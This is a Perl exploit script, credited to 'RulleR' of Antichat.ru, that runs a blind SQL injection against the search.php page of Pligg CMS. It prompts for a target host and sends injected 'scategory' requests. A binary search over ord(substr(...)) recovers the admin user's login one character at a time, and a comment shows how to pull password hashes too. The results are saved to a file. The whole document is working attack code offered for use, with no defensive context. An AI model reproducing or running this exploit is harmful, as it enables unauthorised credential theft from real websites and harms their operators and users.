RulleR

#!/usr/bin/perl

use LWP;
use Fcntl;

$title = "
[*]=====================================[*]
!                                         !
!  Pligg CMS Blind SQL Injection Exploit  !
!                                         !
!            Found && coded by RulleR     !
!                         Antichat.ru     !
!                                         !
[*]=====================================[*]
";
print $title;
print "\n[+] Enter Host: ";
chop ($host = <>);
print "\n[+] Enter Search Keywords: ";
chop ($searchkey = <>);
print "\n[+] Enter \"scategory\": ";
chop ($scat = <>);
print "\n[>] Exploiting started... $host\n\n";
print "    Please wait...\n\n";

#________________ CONFIG _______________

$regexp = '<a href=.*>'.$searchkey;
$length = 100;
$column = 'user_login';#concat_ws(0x3a,user_login,user_pass)
$prefix = 'pligg_';
$table = 'users';
$user_id = 1;
$filename = 'Pligg_exp_result.txt';
#_______________________________________

XEK: for ($start = 1; $start <= $length; $start++) {
         $min = 0;$max = 255;
         while(1) {
             $x = int(($max - $min)/2 + $min);
             if (&WebGet($host,$start,$x) =~ /$regexp/) {
                 $min = $x;
             }
             else {
                 $max = $x;
             }
             last XEK if ($max == 1);
             if ($max - $min == 1) {
                 $char = chr($max);
                 push (@res, $char);
                 print @res,"\n";last;
             }

         }
     }

print "\n[!] Exploiting finished :)\n\n";
print "---------------------- [Result] ----------------------\n";
print @res,"\n";
print "------------------------------------------------------\n";

sysopen (RESULT, $filename, O_WRONLY | O_CREAT);
print RESULT $title;
print RESULT "\n---------------------- [Result] ----------------------\n";
print RESULT @res;
print RESULT "\n------------------------------------------------------\n";
close (RESULT);
print "\nResult saving in $filename\n";

sub WebGet() {
     $inj = '/search.php?search='.$searchkey.'&slink=1&scategory='.$scat.'+and+ord(substr((select+'.$column.'+from+'.$prefix.$table.'+where+user_id='.$user_id.'),'.$_[1].',1))>'.$_[2].'&adv=1';
     $request = HTTP::Request->new(GET => $_[0].$inj);
     $u_a = LWP::UserAgent->new();
     $u_a->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
     $u_a->timeout(10);
     $response = $u_a->request($request);
     if ($response->is_error) {
         print " ! Error: ".$response->status_line.".\n"; die " :(\n";
     }
     return $response->content;
}